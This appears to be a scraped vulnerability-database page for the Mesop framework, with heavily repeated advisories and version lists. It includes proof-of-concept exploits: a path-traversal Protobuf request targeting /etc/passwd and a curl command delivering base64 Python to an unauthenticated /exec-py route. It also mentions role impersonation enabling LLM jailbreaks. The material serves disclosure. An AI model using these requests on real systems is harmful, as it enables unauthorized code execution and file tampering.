
            0.12.7


            0.12.7b1


            0.12.7rc1


            0.12.8


            0.12.8b1


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0rc1


            0.14.0


            0.14.1


            0.14.1rc1


            0.14.2b1


            0.14.2b2


            0.14.2rc1


            0.14rc1


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.4.0


            0.4.1


            0.4.2


            0.5.0


            0.5.1


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.6.0


            0.7.0


            0.7.1


            0.7.2


            0.8.0


            0.8.0rc0


            0.9.0


            0.9.0rc1


            0.9.1


            0.9.1rc1


            0.9.2


            0.9.2rc1


            0.9.3


            0.9.3rc0


            0.9.4


            0.9.4rc0


            0.9.5


            0.9.5rc0


            1.0.0


            1.0.0rc1


            1.0.0rc2


            1.0.1


            1.0.1rc1


            1.1.0


            1.1.0rc1


            1.1.1


            1.1.1rc1


            1.1.1rc2


            1.1.1rc3


            1.2.0


            1.2.0rc1


            1.2.1


            1.2.1rc1


            1.2.2


            1.2.2rc1

Fixed in


          1.2.3

References

Updated Jul 13, 2026 · Source: OSV.dev

CVE-2026-33054 PYSEC-2026-411 GHSA-8qvf-mr4w-9x2c Jun 29, 2026

Mesop has a Path Traversal utilizing `FileStateSessionBackend` leads to Application Denial of Service and File Write/Deletion

10.0 / 10

Critical

Network Low None None Changed High High High

Summary

A Path Traversal vulnerability allows any user (or attacker) supplying an untrusted state_token through the UI stream payload to arbitrarily target files on the disk under the standard file-based runtime backend. This can result in application denial of service (via crash loops when reading non-msgpack target files as configurations), or arbitrary file manipulation.

Details

When the framework is configured to use the disk-based session backend (FileStateSessionBackend), the user's state_token actively dictates where the runtime session state is physically saved or queried natively on disk. In mesop/server/server.py, specifically the ui_stream endpoint, the event.state_token is collected directly from the untrusted incoming protobuf message struct: mesop.protos.ui_pb2.UserEvent. Because this is unconditionally passed to FileStateSessionBackend._make_file_path(self, token), it evaluates standard path operators (e.g. ../../../).

# mesop/server/state_session.py
  def _make_file_path(self, token: str) -> Path:
    return self.base_dir / (self.prefix + token)

Python's standard library natively resolves OS traversal semantics allowing full escape from the base_dir destination intent.

PoC

An attacker can utilize Python to craft and send a malicious Protobuf payload to the /ui stream.

import requests
import mesop.protos.ui_pb2 as pb # Assuming mesop protos are compiled

# 1. Craft the malicious protobuf message
user_event = pb.UserEvent()
 # Escaping the tmp directory via path traversal to target a sensitive file, e.g., the root crontab or a system file
user_event.state_token = "../../../../etc/passwd" 

# Alternatively, targeting Windows:
# user_event.state_token = "..\\..\\..\\..\\Windows\\System32\\drivers\\etc\\hosts"

serialized_event = user_event.SerializeToString()

# 2. Send the message to the ui stream endpoint
 headers = {'Content-Type': 'application/x-protobuf'}
response = requests.post(
    "http://localhost:32123/ui",
    data=serialized_event,
    headers=headers
 )

# The server will attempt to parse /etc/passwd using msgpack, 
# resulting in a crash or reading/overwriting operations depending on the request type invoked.
 print(response.content)

Impact

This vulnerability heavily exposes systems hosted utilizing FileStateSessionBackend. Unauthorized malicious actors could interact with arbitrary payloads overwriting or explicitly removing underlying service resources natively outside the application bounds.

Affected versions


          0.0.1


          0.10.0


          0.10.0rc0


          0.10.0rc1


          0.10.0rc2


          0.11.0


          0.11.0rc0


          0.11.1


          0.12.0


          0.12.0rc0


          0.12.1


          0.12.10b1

+ 80 more


            0.12.10b2


            0.12.10b3


            0.12.10rc1


            0.12.1rc0


            0.12.2


            0.12.3


            0.12.3rc0


            0.12.4


            0.12.4rc0


            0.12.5


            0.12.5b1


            0.12.5rc1


            0.12.6


            0.12.6rc1


            0.12.7


            0.12.7b1


            0.12.7rc1


            0.12.8


            0.12.8b1


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0rc1


            0.14.0


            0.14.1


            0.14.1rc1


            0.14.2b1


            0.14.2b2


            0.14.2rc1


            0.14rc1


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.4.0


            0.4.1


            0.4.2


            0.5.0


            0.5.1


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.6.0


            0.7.0


            0.7.1


            0.7.2


            0.8.0


            0.8.0rc0


            0.9.0


            0.9.0rc1


            0.9.1


            0.9.1rc1


            0.9.2


            0.9.2rc1


            0.9.3


            0.9.3rc0


            0.9.4


            0.9.4rc0


            0.9.5


            0.9.5rc0


            1.0.0


            1.0.0rc1


            1.0.0rc2


            1.0.1


            1.0.1rc1


            1.1.0


            1.1.0rc1


            1.1.1


            1.1.1rc1


            1.1.1rc2


            1.1.1rc3


            1.2.0


            1.2.0rc1


            1.2.1


            1.2.1rc1


            1.2.2


            1.2.2rc1

Fixed in


          1.2.3

References

Updated Jul 13, 2026 · Source: OSV.dev

Dec 07, 2024

0.12.10b2 pre

3 CVEs

CVE-2025-30358 PYSEC-2026-1624 GHSA-f3mf-hm6v-jfhh Jul 07, 2026

Mesop Class Pollution vulnerability leads to DoS and Jailbreak attacks

8.1 / 10

High

Network Low Low None Unchanged None High High

From @jackfromeast and @superboy-zjc: We have identified a class pollution vulnerability in Mesop (<= 0.14.0) application that allows attackers to overwrite global variables and class attributes in certain Mesop modules during runtime. This vulnerability could directly lead to a denial of service (DoS) attack against the server. Additionally, it could also result in other severe consequences given the application's implementation, such as identity confusion, where an attacker could impersonate an assistant or system role within conversations. This impersonation could potentially enable jailbreak attacks when interacting with large language models (LLMs).

Just like the Javascript's prototype pollution, this vulnerability could leave a way for attackers to manipulate the intended data-flow or control-flow of the application at runtime and lead to severe consequnces like RCE when gadgets are available.

Affected versions


          0.0.1


          0.10.0


          0.10.0rc0


          0.10.0rc1


          0.10.0rc2


          0.11.0


          0.11.0rc0


          0.11.1


          0.12.0


          0.12.0rc0


          0.12.1


          0.12.10b1

+ 59 more


            0.12.10b2


            0.12.10b3


            0.12.10rc1


            0.12.1rc0


            0.12.2


            0.12.3


            0.12.3rc0


            0.12.4


            0.12.4rc0


            0.12.5


            0.12.5b1


            0.12.5rc1


            0.12.6


            0.12.6rc1


            0.12.7


            0.12.7b1


            0.12.7rc1


            0.12.8


            0.12.8b1


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0rc1


            0.14.0


            0.14.1rc1


            0.14rc1


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.4.0


            0.4.1


            0.4.2


            0.5.0


            0.5.1


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.6.0


            0.7.0


            0.7.1


            0.7.2


            0.8.0


            0.8.0rc0


            0.9.0


            0.9.0rc1


            0.9.1


            0.9.1rc1


            0.9.2


            0.9.2rc1


            0.9.3


            0.9.3rc0


            0.9.4


            0.9.4rc0


            0.9.5


            0.9.5rc0

Fixed in


          0.14.1

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2026-33057 PYSEC-2026-412 GHSA-gjgx-rvqr-6w6v Jun 29, 2026

Mesop Affected by Unauthenticated Remote Code Execution via Test Suite Route /exec-py

9.8 / 10

Critical

Network Low None None Unchanged High High High

Summary

An explicit web endpoint inside the ai/ testing module infrastructure directly ingests untrusted Python code strings unconditionally without authentication measures, yielding standard Unrestricted Remote Code Execution. Any individual capable of routing HTTP logic to this server block will gain explicit host-machine command rights.

Details

The AI codebase package includes a lightweight debugging Flask server inside ai/sandbox/wsgi_app.py. The /exec-py route accepts base_64 encoded raw string payloads inside the code parameter natively evaluated by a basic POST web request. It saves it rapidly to the operating system logic path and injects it recursively using execute_module(module_path...).

 # ai/sandbox/wsgi_app.py
@flask_app.route("/exec-py", methods=["POST"])
def exec_py_route():
  code = base64.urlsafe_b64decode(request.form.get("code"))
  # ... code is blindly written to file and forcefully executed

PoC

# Payload:
# import os
# os.system('echo "pwned by attacker" > /tmp/pwned.txt')
# 
# Base64 string represents the identical payload block above: 
# aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ==

curl -X POST http://<target_ip_address_hosting_sandbox>:port/exec-py \
 -H "Content-Type: application/x-www-form-urlencoded" \
 -d "code=aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ=="

# Validate exploitation target execution natively:
# $ cat /tmp/pwned.txt
# pwned by attacker

Impact

This presents trivial severity for systems publicly exposed or lacking strictly verified boundary firewalls due to absolute unauthenticated command injection privileges targeting the direct execution interpreter running this service sandbox.

Affected versions


          0.0.1


          0.10.0


          0.10.0rc0


          0.10.0rc1


          0.10.0rc2


          0.11.0


          0.11.0rc0


          0.11.1


          0.12.0


          0.12.0rc0


          0.12.1


          0.12.10b1

+ 80 more


            0.12.10b2


            0.12.10b3


            0.12.10rc1


            0.12.1rc0


            0.12.2


            0.12.3


            0.12.3rc0


            0.12.4


            0.12.4rc0


            0.12.5


            0.12.5b1


            0.12.5rc1


            0.12.6


            0.12.6rc1


            0.12.7


            0.12.7b1


            0.12.7rc1


            0.12.8


            0.12.8b1


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0rc1


            0.14.0


            0.14.1


            0.14.1rc1


            0.14.2b1


            0.14.2b2


            0.14.2rc1


            0.14rc1


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.4.0


            0.4.1


            0.4.2


            0.5.0


            0.5.1


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.6.0


            0.7.0


            0.7.1


            0.7.2


            0.8.0


            0.8.0rc0


            0.9.0


            0.9.0rc1


            0.9.1


            0.9.1rc1


            0.9.2


            0.9.2rc1


            0.9.3


            0.9.3rc0


            0.9.4


            0.9.4rc0


            0.9.5


            0.9.5rc0


            1.0.0


            1.0.0rc1


            1.0.0rc2


            1.0.1


            1.0.1rc1


            1.1.0


            1.1.0rc1


            1.1.1


            1.1.1rc1


            1.1.1rc2


            1.1.1rc3


            1.2.0


            1.2.0rc1


            1.2.1


            1.2.1rc1


            1.2.2


            1.2.2rc1

Fixed in


          1.2.3

References

Updated Jul 13, 2026 · Source: OSV.dev

CVE-2026-33054 PYSEC-2026-411 GHSA-8qvf-mr4w-9x2c Jun 29, 2026

Mesop has a Path Traversal utilizing `FileStateSessionBackend` leads to Application Denial of Service and File Write/Deletion

10.0 / 10

Critical

Network Low None None Changed High High High

Summary

A Path Traversal vulnerability allows any user (or attacker) supplying an untrusted state_token through the UI stream payload to arbitrarily target files on the disk under the standard file-based runtime backend. This can result in application denial of service (via crash loops when reading non-msgpack target files as configurations), or arbitrary file manipulation.

Details

When the framework is configured to use the disk-based session backend (FileStateSessionBackend), the user's state_token actively dictates where the runtime session state is physically saved or queried natively on disk. In mesop/server/server.py, specifically the ui_stream endpoint, the event.state_token is collected directly from the untrusted incoming protobuf message struct: mesop.protos.ui_pb2.UserEvent. Because this is unconditionally passed to FileStateSessionBackend._make_file_path(self, token), it evaluates standard path operators (e.g. ../../../).

# mesop/server/state_session.py
  def _make_file_path(self, token: str) -> Path:
    return self.base_dir / (self.prefix + token)

Python's standard library natively resolves OS traversal semantics allowing full escape from the base_dir destination intent.

PoC

An attacker can utilize Python to craft and send a malicious Protobuf payload to the /ui stream.

import requests
import mesop.protos.ui_pb2 as pb # Assuming mesop protos are compiled

# 1. Craft the malicious protobuf message
user_event = pb.UserEvent()
 # Escaping the tmp directory via path traversal to target a sensitive file, e.g., the root crontab or a system file
user_event.state_token = "../../../../etc/passwd" 

# Alternatively, targeting Windows:
# user_event.state_token = "..\\..\\..\\..\\Windows\\System32\\drivers\\etc\\hosts"

serialized_event = user_event.SerializeToString()

# 2. Send the message to the ui stream endpoint
 headers = {'Content-Type': 'application/x-protobuf'}
response = requests.post(
    "http://localhost:32123/ui",
    data=serialized_event,
    headers=headers
 )

# The server will attempt to parse /etc/passwd using msgpack, 
# resulting in a crash or reading/overwriting operations depending on the request type invoked.
 print(response.content)

Impact

This vulnerability heavily exposes systems hosted utilizing FileStateSessionBackend. Unauthorized malicious actors could interact with arbitrary payloads overwriting or explicitly removing underlying service resources natively outside the application bounds.

Affected versions


          0.0.1


          0.10.0


          0.10.0rc0


          0.10.0rc1


          0.10.0rc2


          0.11.0


          0.11.0rc0


          0.11.1


          0.12.0


          0.12.0rc0


          0.12.1


          0.12.10b1

+ 80 more


            0.12.10b2


            0.12.10b3


            0.12.10rc1


            0.12.1rc0


            0.12.2


            0.12.3


            0.12.3rc0


            0.12.4


            0.12.4rc0


            0.12.5


            0.12.5b1


            0.12.5rc1


            0.12.6


            0.12.6rc1


            0.12.7


            0.12.7b1


            0.12.7rc1


            0.12.8


            0.12.8b1


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0rc1


            0.14.0


            0.14.1


            0.14.1rc1


            0.14.2b1


            0.14.2b2


            0.14.2rc1


            0.14rc1


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.4.0


            0.4.1


            0.4.2


            0.5.0


            0.5.1


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.6.0


            0.7.0


            0.7.1


            0.7.2


            0.8.0


            0.8.0rc0


            0.9.0


            0.9.0rc1


            0.9.1


            0.9.1rc1


            0.9.2


            0.9.2rc1


            0.9.3


            0.9.3rc0


            0.9.4


            0.9.4rc0


            0.9.5


            0.9.5rc0


            1.0.0


            1.0.0rc1


            1.0.0rc2


            1.0.1


            1.0.1rc1


            1.1.0


            1.1.0rc1


            1.1.1


            1.1.1rc1


            1.1.1rc2


            1.1.1rc3


            1.2.0


            1.2.0rc1


            1.2.1


            1.2.1rc1


            1.2.2


            1.2.2rc1

Fixed in


          1.2.3

References

Updated Jul 13, 2026 · Source: OSV.dev

Dec 05, 2024

0.12.10b1 pre

3 CVEs

CVE-2025-30358 PYSEC-2026-1624 GHSA-f3mf-hm6v-jfhh Jul 07, 2026

Mesop Class Pollution vulnerability leads to DoS and Jailbreak attacks

8.1 / 10

High

Network Low Low None Unchanged None High High

From @jackfromeast and @superboy-zjc: We have identified a class pollution vulnerability in Mesop (<= 0.14.0) application that allows attackers to overwrite global variables and class attributes in certain Mesop modules during runtime. This vulnerability could directly lead to a denial of service (DoS) attack against the server. Additionally, it could also result in other severe consequences given the application's implementation, such as identity confusion, where an attacker could impersonate an assistant or system role within conversations. This impersonation could potentially enable jailbreak attacks when interacting with large language models (LLMs).

Just like the Javascript's prototype pollution, this vulnerability could leave a way for attackers to manipulate the intended data-flow or control-flow of the application at runtime and lead to severe consequnces like RCE when gadgets are available.

Affected versions


          0.0.1


          0.10.0


          0.10.0rc0


          0.10.0rc1


          0.10.0rc2


          0.11.0


          0.11.0rc0


          0.11.1


          0.12.0


          0.12.0rc0


          0.12.1


          0.12.10b1

+ 59 more


            0.12.10b2


            0.12.10b3


            0.12.10rc1


            0.12.1rc0


            0.12.2


            0.12.3


            0.12.3rc0


            0.12.4


            0.12.4rc0


            0.12.5


            0.12.5b1


            0.12.5rc1


            0.12.6


            0.12.6rc1


            0.12.7


            0.12.7b1


            0.12.7rc1


            0.12.8


            0.12.8b1


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0rc1


            0.14.0


            0.14.1rc1


            0.14rc1


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.4.0


            0.4.1


            0.4.2


            0.5.0


            0.5.1


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.6.0


            0.7.0


            0.7.1


            0.7.2


            0.8.0


            0.8.0rc0


            0.9.0


            0.9.0rc1


            0.9.1


            0.9.1rc1


            0.9.2


            0.9.2rc1


            0.9.3


            0.9.3rc0


            0.9.4


            0.9.4rc0


            0.9.5


            0.9.5rc0

Fixed in


          0.14.1

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2026-33057 PYSEC-2026-412 GHSA-gjgx-rvqr-6w6v Jun 29, 2026

Mesop Affected by Unauthenticated Remote Code Execution via Test Suite Route /exec-py

9.8 / 10

Critical

Network Low None None Unchanged High High High

Summary

An explicit web endpoint inside the ai/ testing module infrastructure directly ingests untrusted Python code strings unconditionally without authentication measures, yielding standard Unrestricted Remote Code Execution. Any individual capable of routing HTTP logic to this server block will gain explicit host-machine command rights.

Details

The AI codebase package includes a lightweight debugging Flask server inside ai/sandbox/wsgi_app.py. The /exec-py route accepts base_64 encoded raw string payloads inside the code parameter natively evaluated by a basic POST web request. It saves it rapidly to the operating system logic path and injects it recursively using execute_module(module_path...).

 # ai/sandbox/wsgi_app.py
@flask_app.route("/exec-py", methods=["POST"])
def exec_py_route():
  code = base64.urlsafe_b64decode(request.form.get("code"))
  # ... code is blindly written to file and forcefully executed

PoC

# Payload:
# import os
# os.system('echo "pwned by attacker" > /tmp/pwned.txt')
# 
# Base64 string represents the identical payload block above: 
# aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ==

curl -X POST http://<target_ip_address_hosting_sandbox>:port/exec-py \
 -H "Content-Type: application/x-www-form-urlencoded" \
 -d "code=aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ=="

# Validate exploitation target execution natively:
# $ cat /tmp/pwned.txt
# pwned by attacker

Impact

This presents trivial severity for systems publicly exposed or lacking strictly verified boundary firewalls due to absolute unauthenticated command injection privileges targeting the direct execution interpreter running this service sandbox.

Affected versions


          0.0.1


          0.10.0


          0.10.0rc0


          0.10.0rc1


          0.10.0rc2


          0.11.0


          0.11.0rc0


          0.11.1


          0.12.0


          0.12.0rc0


          0.12.1


          0.12.10b1

+ 80 more


            0.12.10b2


            0.12.10b3


            0.12.10rc1


            0.12.1rc0


            0.12.2


            0.12.3


            0.12.3rc0


            0.12.4


            0.12.4rc0


            0.12.5


            0.12.5b1


            0.12.5rc1


            0.12.6


            0.12.6rc1


            0.12.7


            0.12.7b1


            0.12.7rc1


            0.12.8


            0.12.8b1


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0rc1


            0.14.0


            0.14.1


            0.14.1rc1


            0.14.2b1


            0.14.2b2


            0.14.2rc1


            0.14rc1


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.4.0


            0.4.1


            0.4.2


            0.5.0


            0.5.1


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.6.0


            0.7.0


            0.7.1


            0.7.2


            0.8.0


            0.8.0rc0


            0.9.0


            0.9.0rc1


            0.9.1


            0.9.1rc1


            0.9.2


            0.9.2rc1


            0.9.3


            0.9.3rc0


            0.9.4


            0.9.4rc0


            0.9.5


            0.9.5rc0


            1.0.0


            1.0.0rc1


            1.0.0rc2


            1.0.1


            1.0.1rc1


            1.1.0


            1.1.0rc1


            1.1.1


            1.1.1rc1


            1.1.1rc2


            1.1.1rc3


            1.2.0


            1.2.0rc1


            1.2.1


            1.2.1rc1


            1.2.2


            1.2.2rc1

Fixed in


          1.2.3

References

Updated Jul 13, 2026 · Source: OSV.dev

CVE-2026-33054 PYSEC-2026-411 GHSA-8qvf-mr4w-9x2c Jun 29, 2026

Mesop has a Path Traversal utilizing `FileStateSessionBackend` leads to Application Denial of Service and File Write/Deletion

10.0 / 10

Critical

Network Low None None Changed High High High

Summary

A Path Traversal vulnerability allows any user (or attacker) supplying an untrusted state_token through the UI stream payload to arbitrarily target files on the disk under the standard file-based runtime backend. This can result in application denial of service (via crash loops when reading non-msgpack target files as configurations), or arbitrary file manipulation.

Details

When the framework is configured to use the disk-based session backend (FileStateSessionBackend), the user's state_token actively dictates where the runtime session state is physically saved or queried natively on disk. In mesop/server/server.py, specifically the ui_stream endpoint, the event.state_token is collected directly from the untrusted incoming protobuf message struct: mesop.protos.ui_pb2.UserEvent. Because this is unconditionally passed to FileStateSessionBackend._make_file_path(self, token), it evaluates standard path operators (e.g. ../../../).

# mesop/server/state_session.py
  def _make_file_path(self, token: str) -> Path:
    return self.base_dir / (self.prefix + token)

Python's standard library natively resolves OS traversal semantics allowing full escape from the base_dir destination intent.

PoC

An attacker can utilize Python to craft and send a malicious Protobuf payload to the /ui stream.

import requests
import mesop.protos.ui_pb2 as pb # Assuming mesop protos are compiled

# 1. Craft the malicious protobuf message
user_event = pb.UserEvent()
 # Escaping the tmp directory via path traversal to target a sensitive file, e.g., the root crontab or a system file
user_event.state_token = "../../../../etc/passwd" 

# Alternatively, targeting Windows:
# user_event.state_token = "..\\..\\..\\..\\Windows\\System32\\drivers\\etc\\hosts"

serialized_event = user_event.SerializeToString()

# 2. Send the message to the ui stream endpoint
 headers = {'Content-Type': 'application/x-protobuf'}
response = requests.post(
    "http://localhost:32123/ui",
    data=serialized_event,
    headers=headers
 )

# The server will attempt to parse /etc/passwd using msgpack, 
# resulting in a crash or reading/overwriting operations depending on the request type invoked.
 print(response.content)

Impact

This vulnerability heavily exposes systems hosted utilizing FileStateSessionBackend. Unauthorized malicious actors could interact with arbitrary payloads overwriting or explicitly removing underlying service resources natively outside the application bounds.

Affected versions


          0.0.1


          0.10.0


          0.10.0rc0


          0.10.0rc1


          0.10.0rc2


          0.11.0


          0.11.0rc0


          0.11.1


          0.12.0


          0.12.0rc0


          0.12.1


          0.12.10b1

+ 80 more


            0.12.10b2


            0.12.10b3


            0.12.10rc1


            0.12.1rc0


            0.12.2


            0.12.3


            0.12.3rc0


            0.12.4


            0.12.4rc0


            0.12.5


            0.12.5b1


            0.12.5rc1


            0.12.6


            0.12.6rc1


            0.12.7


            0.12.7b1


            0.12.7rc1


            0.12.8


            0.12.8b1


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0rc1


            0.14.0


            0.14.1


            0.14.1rc1


            0.14.2b1


            0.14.2b2


            0.14.2rc1


            0.14rc1


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.4.0


            0.4.1


            0.4.2


            0.5.0


            0.5.1


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.6.0


            0.7.0


            0.7.1


            0.7.2


            0.8.0


            0.8.0rc0


            0.9.0


            0.9.0rc1


            0.9.1


            0.9.1rc1


            0.9.2


            0.9.2rc1


            0.9.3


            0.9.3rc0


            0.9.4


            0.9.4rc0


            0.9.5


            0.9.5rc0


            1.0.0


            1.0.0rc1


            1.0.0rc2


            1.0.1


            1.0.1rc1


            1.1.0


            1.1.0rc1


            1.1.1


            1.1.1rc1


            1.1.1rc2


            1.1.1rc3


            1.2.0


            1.2.0rc1


            1.2.1


            1.2.1rc1


            1.2.2


            1.2.2rc1

Fixed in


          1.2.3

References

Updated Jul 13, 2026 · Source: OSV.dev

Dec 04, 2024

0.12.9 patch

3 CVEs

CVE-2025-30358 PYSEC-2026-1624 GHSA-f3mf-hm6v-jfhh Jul 07, 2026

Mesop Class Pollution vulnerability leads to DoS and Jailbreak attacks

8.1 / 10

High

Network Low Low None Unchanged None High High

From @jackfromeast and @superboy-zjc: We have identified a class pollution vulnerability in Mesop (<= 0.14.0) application that allows attackers to overwrite global variables and class attributes in certain Mesop modules during runtime. This vulnerability could directly lead to a denial of service (DoS) attack against the server. Additionally, it could also result in other severe consequences given the application's implementation, such as identity confusion, where an attacker could impersonate an assistant or system role within conversations. This impersonation could potentially enable jailbreak attacks when interacting with large language models (LLMs).

Just like the Javascript's prototype pollution, this vulnerability could leave a way for attackers to manipulate the intended data-flow or control-flow of the application at runtime and lead to severe consequnces like RCE when gadgets are available.

Affected versions


          0.0.1


          0.10.0


          0.10.0rc0


          0.10.0rc1


          0.10.0rc2


          0.11.0


          0.11.0rc0


          0.11.1


          0.12.0


          0.12.0rc0


          0.12.1


          0.12.10b1

+ 59 more


            0.12.10b2


            0.12.10b3


            0.12.10rc1


            0.12.1rc0


            0.12.2


            0.12.3


            0.12.3rc0


            0.12.4


            0.12.4rc0


            0.12.5


            0.12.5b1


            0.12.5rc1


            0.12.6


            0.12.6rc1


            0.12.7


            0.12.7b1


            0.12.7rc1


            0.12.8


            0.12.8b1


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0rc1


            0.14.0


            0.14.1rc1


            0.14rc1


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.4.0


            0.4.1


            0.4.2


            0.5.0


            0.5.1


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.6.0


            0.7.0


            0.7.1


            0.7.2


            0.8.0


            0.8.0rc0


            0.9.0


            0.9.0rc1


            0.9.1


            0.9.1rc1


            0.9.2


            0.9.2rc1


            0.9.3


            0.9.3rc0


            0.9.4


            0.9.4rc0


            0.9.5


            0.9.5rc0

Fixed in


          0.14.1

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2026-33057 PYSEC-2026-412 GHSA-gjgx-rvqr-6w6v Jun 29, 2026

Mesop Affected by Unauthenticated Remote Code Execution via Test Suite Route /exec-py

9.8 / 10

Critical

Network Low None None Unchanged High High High

Summary

An explicit web endpoint inside the ai/ testing module infrastructure directly ingests untrusted Python code strings unconditionally without authentication measures, yielding standard Unrestricted Remote Code Execution. Any individual capable of routing HTTP logic to this server block will gain explicit host-machine command rights.

Details

The AI codebase package includes a lightweight debugging Flask server inside ai/sandbox/wsgi_app.py. The /exec-py route accepts base_64 encoded raw string payloads inside the code parameter natively evaluated by a basic POST web request. It saves it rapidly to the operating system logic path and injects it recursively using execute_module(module_path...).

 # ai/sandbox/wsgi_app.py
@flask_app.route("/exec-py", methods=["POST"])
def exec_py_route():
  code = base64.urlsafe_b64decode(request.form.get("code"))
  # ... code is blindly written to file and forcefully executed

PoC

# Payload:
# import os
# os.system('echo "pwned by attacker" > /tmp/pwned.txt')
# 
# Base64 string represents the identical payload block above: 
# aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ==

curl -X POST http://<target_ip_address_hosting_sandbox>:port/exec-py \
 -H "Content-Type: application/x-www-form-urlencoded" \
 -d "code=aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ=="

# Validate exploitation target execution natively:
# $ cat /tmp/pwned.txt
# pwned by attacker

Impact

This presents trivial severity for systems publicly exposed or lacking strictly verified boundary firewalls due to absolute unauthenticated command injection privileges targeting the direct execution interpreter running this service sandbox.

Affected versions


          0.0.1


          0.10.0


          0.10.0rc0


          0.10.0rc1


          0.10.0rc2


          0.11.0


          0.11.0rc0


          0.11.1


          0.12.0


          0.12.0rc0


          0.12.1


          0.12.10b1

+ 80 more


            0.12.10b2


            0.12.10b3


            0.12.10rc1


            0.12.1rc0


            0.12.2


            0.12.3


            0.12.3rc0


            0.12.4


            0.12.4rc0


            0.12.5


            0.12.5b1


            0.12.5rc1


            0.12.6


            0.12.6rc1


            0.12.7


            0.12.7b1


            0.12.7rc1


            0.12.8


            0.12.8b1


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0rc1


            0.14.0


            0.14.1


            0.14.1rc1


            0.14.2b1


            0.14.2b2


            0.14.2rc1


            0.14rc1


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.4.0


            0.4.1


            0.4.2


            0.5.0


            0.5.1


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.6.0


            0.7.0


            0.7.1


            0.7.2


            0.8.0


            0.8.0rc0


            0.9.0


            0.9.0rc1


            0.9.1


            0.9.1rc1


            0.9.2


            0.9.2rc1


            0.9.3


            0.9.3rc0


            0.9.4


            0.9.4rc0


            0.9.5


            0.9.5rc0


            1.0.0


            1.0.0rc1


            1.0.0rc2


            1.0.1


            1.0.1rc1


            1.1.0


            1.1.0rc1


            1.1.1


            1.1.1rc1


            1.1.1rc2


            1.1.1rc3


            1.2.0


            1.2.0rc1


            1.2.1


            1.2.1rc1


            1.2.2


            1.2.2rc1

Fixed in


          1.2.3

References

Updated Jul 13, 2026 · Source: OSV.dev

CVE-2026-33054 PYSEC-2026-411 GHSA-8qvf-mr4w-9x2c Jun 29, 2026

Mesop has a Path Traversal utilizing `FileStateSessionBackend` leads to Application Denial of Service and File Write/Deletion

10.0 / 10

Critical

Network Low None None Changed High High High

Summary

A Path Traversal vulnerability allows any user (or attacker) supplying an untrusted state_token through the UI stream payload to arbitrarily target files on the disk under the standard file-based runtime backend. This can result in application denial of service (via crash loops when reading non-msgpack target files as configurations), or arbitrary file manipulation.

Details

When the framework is configured to use the disk-based session backend (FileStateSessionBackend), the user's state_token actively dictates where the runtime session state is physically saved or queried natively on disk. In mesop/server/server.py, specifically the ui_stream endpoint, the event.state_token is collected directly from the untrusted incoming protobuf message struct: mesop.protos.ui_pb2.UserEvent. Because this is unconditionally passed to FileStateSessionBackend._make_file_path(self, token), it evaluates standard path operators (e.g. ../../../).

# mesop/server/state_session.py
  def _make_file_path(self, token: str) -> Path:
    return self.base_dir / (self.prefix + token)

Python's standard library natively resolves OS traversal semantics allowing full escape from the base_dir destination intent.

PoC

An attacker can utilize Python to craft and send a malicious Protobuf payload to the /ui stream.

import requests
import mesop.protos.ui_pb2 as pb # Assuming mesop protos are compiled

# 1. Craft the malicious protobuf message
user_event = pb.UserEvent()
 # Escaping the tmp directory via path traversal to target a sensitive file, e.g., the root crontab or a system file
user_event.state_token = "../../../../etc/passwd" 

# Alternatively, targeting Windows:
# user_event.state_token = "..\\..\\..\\..\\Windows\\System32\\drivers\\etc\\hosts"

serialized_event = user_event.SerializeToString()

# 2. Send the message to the ui stream endpoint
 headers = {'Content-Type': 'application/x-protobuf'}
response = requests.post(
